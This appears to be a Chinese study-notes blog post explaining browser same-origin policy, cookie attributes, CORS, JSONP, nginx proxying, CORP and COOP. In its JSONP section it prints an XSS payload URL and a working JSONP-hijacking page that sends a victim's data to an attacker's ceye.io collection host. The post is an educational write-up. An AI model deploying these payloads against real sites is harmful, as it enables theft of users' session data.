【web安全】浏览器同源策略和跨域问题

写这篇笔记的想法是之前看白帽子讲web安全的时候,就看到有关浏览器对域采取的一系列安全措施,如:同源策略等,后面为了方便web应用有在数据包header中添加字段,但也带来了很多风险。
在这一背景下想要系统整理一下相关的知识
参考博客:https://www.freebuf.com/articles/web/208672.html
https://blog.csdn.net/jined/article/details/120693745

概念

找到2017年的一篇论文:Same-Origin Policy: Evaluation in Modern Browsers,发在顶会上的

个人理解的域和源本质上是一样的,只是域是针对单个的,而有源就要有汇,是针对双方的。在浏览器的上下文中,域(Domain) 是一种安全模型的基础构件,主要用来确定哪些网络资源(如网页、图片、脚本等)可以与哪些其他资源互相交互。而域的概念是为了实现 Web 安全而设计的,主要目的是防止恶意网站访问或操作其他网站的数据,这种安全策略被称为同源政策(Same-Origin Policy, SOP)(是由 Netscape 提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。)

浏览器的同源策略:对于Web页面上的脚本来说,只能访问来自同一来源的数据,而不能访问或修改不同来源的数据。这里的“来源”(origin)是由协议(protocol)、域名(domain)和端口(port)三个部分组成的。只有当这三者完全相同的时候,两个资源才被认为是“同源”的。
虽然浏览器为了安全目的引入了同源政策,但同时也给开发者们带来很多问题,这也催生出了很多的跨域手段,带来了新的攻击面。

①.浏览器先根据同源策略对前端页面和后台交互地址做匹配,若同源,则直接发送数据请求;若不同源,则发送跨域请求。
②.服务器解析程序收到浏览器跨域请求后,根据自身配置返回对应文件头。若未配置过任何允许跨域,则文件头里不包含Access-Control-Allow-origin字段,若配置过域名,则返回Access-Control-Allow-origin+ 对应配置规则里的域名的方式。
③.浏览器根据接受到的http文件头里的Access-Control-Allow-origin字段做匹配,若无该字段,说明不允许跨域;若有该字段,则对字段内容和当前域名做比对,如果同源,则说明可以跨域,浏览器发送该请求;若不同源,则说明该域名不可跨域,不发送请求

Cookie的跨域问题

在Cookie设置中有很多属性

名称 Cookie的name
Cookie的value
Domain Cookie的域。如果设成 xxx.com(一级域名),那么子域名x.xxx.com(二级域名),都可以使用xxx.com的Cookie
Path Cookie的路径。如果设为/,则同域名全部路径均可使用该Cookie。如果设为/xxx/,则只有路径为/xxx/可以使用该Cookie。
Expires / Max-Age Cookie的超时时间。如果值为时间,则在到达指定时间后Cookie失效。如果值为Session(会话),Cookie会同Session一起失效,当整个浏览器关闭的时候Cookie失效。
Size Cookie的大小。
HttpOnly 值为true时,Cookie只会在Http请求头中存在,不能通过doucment.cookie(JavaScript)访问Cookie。
Secure 值为true时,只能通过https来传输Cookie。
SameSite 值为Strict,完全禁止第三方Cookie,跨站时无法使用Cookie。值为Lax,允许在跨站时使用Get请求携带Cookie,下面有一个表格介绍Lax的Cookie使用情况。值为None,允许跨站跨域使用Cookie,前提是将Secure属性设置为true。Priority :Cookie的优先级。值为Low/Medium/High,当Cookie数量超出时,低优先级的Cookie会被优先清除。

针对上面的属性,如果设置不当,就有可能存在安全问题:
上面的Cookie配置中涉及到安全性的属性主要包括Domain、Path、HttpOnly、Secure和SameSite。每个属性的设置都会直接影响到Cookie的安全性和应用的安全风险。下面分别分析这些属性可能引起的安全问题:

  1. Domain(域):如果Domain设置不当,比如设置为一级域名(例如xxx.com),那么所有xxx.com的子域(如sub.xxx.com)都可以访问这个Cookie。这可能会导致Cookie被不安全的子域访问,增加数据泄露的风险。依据最小特权原则,尽量将cookie作用域设置的越小越好。
  2. Path(路径):如果Path设置为根路径(/),则整个网站的所有页面都能访问这个Cookie。如果某些路径下的页面存在安全漏洞,那么这些页面也能访问到Cookie,存在被利用的风险。
  3. HttpOnly:如果HttpOnly属性未被设置(即默认情况下或设置为false),Cookie可以通过客户端脚本,如JavaScript的document.cookie访问。
  4. Secure:如果Secure属性未设置,Cookie可以通过不安全的HTTP连接传输。
  5. SameSite
  • Strict:严格的设置可能会导致合法的跨站请求场景(例如,用户从其他网站点击链接跳转到站点时)下Cookie不被发送,影响用户体验。
  • Lax:相对宽松,但在某些情况下(如POST请求等)仍不发送Cookie,可能影响功能的实现。
  • None:如果没有正确设置Secure属性,设置SameSite为None时可能导致Cookie在跨站请求中被发送,增加CSRF攻击的风险。

子父域问题:子域可以获取到父域的cookie,反之则不行。所以我们在种全站cookie的时候(比如登录状态),都会种到全站域名的父域上,这样全站可以共享登录状态。当然这里说的全站域名都是一个父域的情况。

CORS(跨源资源共享)

CORS 全称 Cross-Origin Resource Sharing, 跨域资源共享,是 HTML5 的一个新特性,已被所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。

CORS(Cross-Origin Resource Sharing,跨源资源共享)是一个允许在网页脚本中访问不同源服务器资源的安全功能。它是一个 W3C 标准,旨在克服浏览器同源政策对资源跨域访问的限制。

CORS 的工作原理


CORS 通过添加一系列新的 HTTP 头部来扩展已有的 HTTP 协议,使得服务器能够声明哪些源站可以访问该服务器上的资源。在 CORS 中,HTTP 请求由两种类型:

  1. 简单请求(Simple Requests)

    • 使用 GET、HEAD 或 POST 方法。
    • POST 方法的 Content-Type 仅限于 text/plainmultipart/form-dataapplication/x-www-form-urlencoded
    • 不会改变服务器状态的请求被视为简单请求。

    简单请求的 CORS 流程:

    • 浏览器在简单请求的头部中自动添加 Origin 字段,这个字段标明请求来自哪个源(协议+域名+端口)。
    • 服务器根据这个源决定是否允许请求。如果允许,服务器会在响应头中添加 Access-Control-Allow-Origin。浏览器只有在收到这个头部,并且值与请求的源相匹配,或者是通配符 * 时,才会处理响应。如果不允许,服务器不会添加该字段,浏览器也会阻止应用访问该响应。
  2. 预检请求(Preflight Requests)

    • 使用了除 GET、HEAD、POST 之外的 HTTP 方法。
    • 发送了除简单请求头之外的自定义头,如 application/json
    • 对服务器有特定影响的 POST 请求(如发送 JSON 或 XML 数据)。

    预检请求的 CORS 流程:

    • 在发送实际请求前,浏览器首先会发送一个 OPTIONS 请求到服务器,询问服务器是否允许跨域请求。
    • 这个 OPTIONS 预检请求包括以下头信息:OriginAccess-Control-Request-Method(实际请求中将使用的 HTTP 方法)和 Access-Control-Request-Headers(实际请求中将设置的自定义头信息)。
    • 如果服务器允许,它会在响应中包括如 Access-Control-Allow-MethodsAccess-Control-Allow-HeadersAccess-Control-Allow-Origin 等头部,明确允许的方法、头部和源。
    • 浏览器接收到允许的响应后,会发送实际的 HTTP 请求。

CORS 响应头部

  • **Access-Control-Allow-Origin**:指定哪些域可以访问域资源。例如,如果requester.com 想要访问 provider.com 的资源,那么开发人员可以使用此标头安全地授予 requester.com 对 provider.com 资源的访问权限。
  • **Access-Control-Allow-Methods**:指定可以使用哪些 HTTP 请求方法(GET,PUT,DELETE 等)来访问资源。此标头允许开发人员通过在 requester.com 请求访问provider.com 的资源时,指定哪些方法有效来进一步增强安全性。
  • **Access-Control-Allow-Headers**:允许的 HTTP 请求头。
  • **Access-Control-Allow-Credentials**:指定浏览器是否将使用请求发送 cookie。仅当 allow-credentials 标头设置为 true 时,才会发送 Cookie。

使用场景

CORS 非常适用于单页应用(SPA),这些应用通常会从多个源加载资源。CORS 也是实现 API 服务和前端分离的关键技术之一,使得前端应用可以安全地从不同源获取数据和资源。
SpringCloud设置跨域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Configuration
public class GatewayCorsConfiguation {

@Bean
public CorsFilter corsFilter(){
// 初始化cors配置对象
CorsConfiguration configuration = new CorsConfiguration();
configuration.setAllowCredentials(true); // 允许使用cookie,但是使用cookie是addAllowedOrigin必须是具体的地址,不能是*
// configuration.addAllowedOrigin("*");
configuration.addAllowedOrigin("http://manage.leyou.com");
configuration.addAllowedMethod("*"); //允许的请求方式,get,put,post,delete
configuration.addAllowedHeader("*");//允许的头信息

//初始化cors的源对象配置
UrlBasedCorsConfigurationSource corsConfigurationSource = new UrlBasedCorsConfigurationSource();
corsConfigurationSource.registerCorsConfiguration("/**",configuration);

//3.返回新的CorsFilter.
return new CorsFilter(corsConfigurationSource);
}
}

安全问题

  • CORS 政策完全由服务器端控制。如果服务器配置不当,可能会导致敏感信息泄露。
  • Access-Control-Allow-Origin 设置为 * 可以允许所有域名的访问,但这通常不推荐用于处理敏感数据。
    可以使用这个工具做一些检测 https://github.com/chenjj/CORScanner

JSONP(JSON with Padding)

JSONP 教程 https://www.runoob.com/json/json-jsonp.html

JSONP(JSON with Padding)是一种跨域数据交换的技术,它利用了<script>标签没有跨域限制的特性来发送跨域请求,现在的应用很少。callback是一个很有效的关键词,通过在网络请求中检索callback,或许可以找到应用的点,如果返回的json是隐私相关的信息,那么就可以实现信息泄漏等。

工作原理

JSONP 的工作原理基于以下两个事实:

  1. 浏览器的同源策略阻止了从不同源加载的脚本访问其他源的 DOM 和 JavaScript 对象,但不禁止向其他源发送<script>标签的请求。
  2. <script>标签的src属性可以用来加载任何来源的 JavaScript 文件。

当需要从其他域名获取数据时,可以使用 JSONP 方法。这种方式通常涉及到下面几个步骤:

  1. 客户端定义回调函数:首先在客户端定义一个回调函数,这个函数将处理从服务器获取的数据。
  2. 动态创建 <script> 标签:然后通过动态创建 <script> 标签的方式来发送请求,请求的 URL 包含一个查询参数,通常是 callback,其值是上一步定义的回调函数的名称。
  3. 服务器响应:服务器在接收到请求后,会生成 JSON 数据,并将这个数据作为参数传递给查询参数中指定的回调函数,形成一段可执行的 JavaScript 代码。
  4. 执行响应:当这段带有数据的 JavaScript 代码通过 <script> 标签加载并执行时,定义的回调函数会被调用,并且实际的数据会作为参数传入。

示例

假设有一个客户端回调函数 handleResponse,你希望从 http://example.com/api 获取数据,你可以这样实现 JSONP 请求:
客户端代码

1
2
3
4
5
6
7
function handleResponse(data) {
console.log("Received data: " + data);
}

var script = document.createElement('script');
script.src = 'http://example.com/api?callback=handleResponse';
document.head.appendChild(script);

服务器端响应

1
handleResponse({"name": "Alice", "age": 25});

这段响应是一个 JavaScript 代码,调用了客户端定义的 handleResponse 函数,并传入了数据。

安全考虑

1、对于输入的callback函数名过滤不严格,导致输入的数据直接输出到前端造成XSS
2、JSONP劫持漏洞,由于对于来源域没有严格限制,因此来源于不安全的域的请求也会被响应
随着 CORS(跨源资源共享)标准的普及,JSONP 的使用越来越少。CORS 提供了一种更安全、更灵活的跨域请求方式,允许服务器更精细地控制哪些网站可以访问哪些资源,同时支持所有类型的 HTTP 请求(不仅仅是 GET 请求),而 JSONP 仅支持 GET 请求。因此,在现代 Web 应用开发中,推荐使用 CORS 而不是 JSONP。

直接构造xss:http://xxxxxx/jsonp/index.php?callback=jsonp_5981%3Cimg%20src=x%20onerror=alert(/xss/)%3E,可以获取到用户的cookie信息或者劫持用户跳转到钓鱼网站
JSONP劫持:JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>jsonp劫持</title>
<meta charset="utf-8">
</head>
<script type="text/javascript" src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script>
function jsonp_hack(v){
alert("jsonp劫持");
var h='';
for(var key in v){
var a=''
a=key+' : '+v[key]+' ,'
h+=a
}
alert(h);
$.get('http://jsonp1.kijkv0.ceye.io?value='+h);
}
</script>
<script src="http://172.16.31.149/jsonp/index.php?callback=jsonp_hack"></script>
<body>
<h1>jsonp劫持</h1>
</body>
</html>

一旦被攻击者访问该网页,就会自动触发,会自动访问具有漏洞的jsonp接口,利用被攻击者自己的session获取到被攻击者的信息,并将该信息远程发送到攻击者的服务器上

其他解决跨域问题的方案

利用nginx进行反向代理,在一个服务器上配置多个前缀来转发http/https请求到多个真实的服务器即可。在 nginx 中配置反向代理服务器,将客户端的请求转发到后端服务器,并在转发过程中添加相应的响应头。例如,假设前端服务器运行在 http://frontend.example.com,后端服务器运行在 http://backend.example.com,则可以在 nginx 中配置如下的反向代理服务器:

1
2
3
4
5
6
7
8
9
10
server {
listen 80;
server_name frontend.example.com;

location /api {
proxy_pass http://backend.example.com;
add_header Access-Control-Allow-Origin http://frontend.example.com;
add_header Access-Control-Allow-Credentials true;
}
}

上述配置中,location /api 将客户端请求中的 /api 转发到后端服务器的对应接口。
add_header Access-Control-Allow-Origin http://frontend.example.com 表示允许来自 http://frontend.example.com 的跨域请求。
add_header Access-Control-Allow-Credentials true 表示允许跨域请求携带 cookie。
设置相应的响应头在响应头中添加相应的跨域设置,以允许客户端发送跨域请求和携带 cookie。例如,添加 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 头部:Access-Control-Allow-Origin: http://frontend.example.com
Access-Control-Allow-Credentials: true这样客户端在向后端服务器发送请求时,就能携带 cookie,并允许跨域请求。

还有很多前端跨域解决方案:https://blog.csdn.net/jined/article/details/120693745

新的安全措施 CORP COOP

https://www.cnblogs.com/Yangyecool/p/13417794.html
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy
在现代浏览器安全中,除了CORS以外,还有两个相对较新的安全策略,分别是CORP(Cross-Origin Resource Policy)和COOP(Cross-Origin Opener Policy)。这两种策略都是为了进一步加强跨域安全,尤其是在防止某些类型的跨站攻击(如跨站脚本和跨站请求伪造)和数据泄露方面。
同源策略也有一些例外,任何网站都可以不受限制的加载下面的资源:

长久以来,这些安全策略一直保护着网站的隐私数据,直到 Spectre 漏洞出现。Spectre 是一个在 CPU 中被发现的漏洞,利用 Spectre ,攻击者可以读取到在统一浏览器下任意 Context Group 下的资源。特别是在使用一些需要和计算机硬件进行交互的 API 时:

  • SharedArrayBuffer (required for WebAssembly Threads)
  • performance.measureMemory()
  • JS Self-Profiling API
    为此,浏览器一度禁用了 SharedArrayBuffer 等高风险的 API。

CORP(Cross-Origin Resource Policy)

CORP 是一种浏览器安全策略,允许开发者限制哪些跨源请求可以加载资源。这个策略主要是通过 HTTP 响应头 Cross-Origin-Resource-Policy 实现的,可以控制资源(如图像、CSS、JavaScript等)是否可以被另一个域加载。

使用场景
CORP 主要用于防止资源被不同源的网站读取或嵌入。例如,一个网站可以决定其资源只能由同源网站或特定的源网站加载。
响应头选项

  • Cross-Origin-Resource-Policy: same-origin:只有同源的站点可以加载资源。
  • Cross-Origin-Resource-Policy: same-site:只有相同站点(即顶级域名相同)的请求可以加载资源。
  • Cross-Origin-Resource-Policy: cross-origin:任何网站都可以加载资源。这相当于没有应用任何CORP。

COOP(Cross-Origin Opener Policy)

COOP 是一种浏览器安全策略,用于隔离来自不同源的浏览器上下文(如窗口和标签页),从而防止潜在的恶意文档影响正常文档,或在两者之间进行数据泄露。这个策略主要通过 HTTP 响应头 Cross-Origin-Opener-Policy 来设置。

使用场景
COOP 主要用于创建一个安全的环境,其中的页面不会与不同源的页面共享相同的进程,因此可以阻止恶意网站通过窗口间通信(如 window.opener)来泄露信息或进行攻击。
响应头选项

  • Cross-Origin-Opener-Policy: same-origin:只有同源的页面才能与当前页面共享同一个浏览器进程。
  • Cross-Origin-Opener-Policy: same-origin-allow-popups:与 same-origin 相同,但允许弹出窗口(由当前页面创建)与其共享同一个进程。
  • Cross-Origin-Opener-Policy: unsafe-none:不隔离源,所有页面共享同一进程,这是大多数页面的默认行为。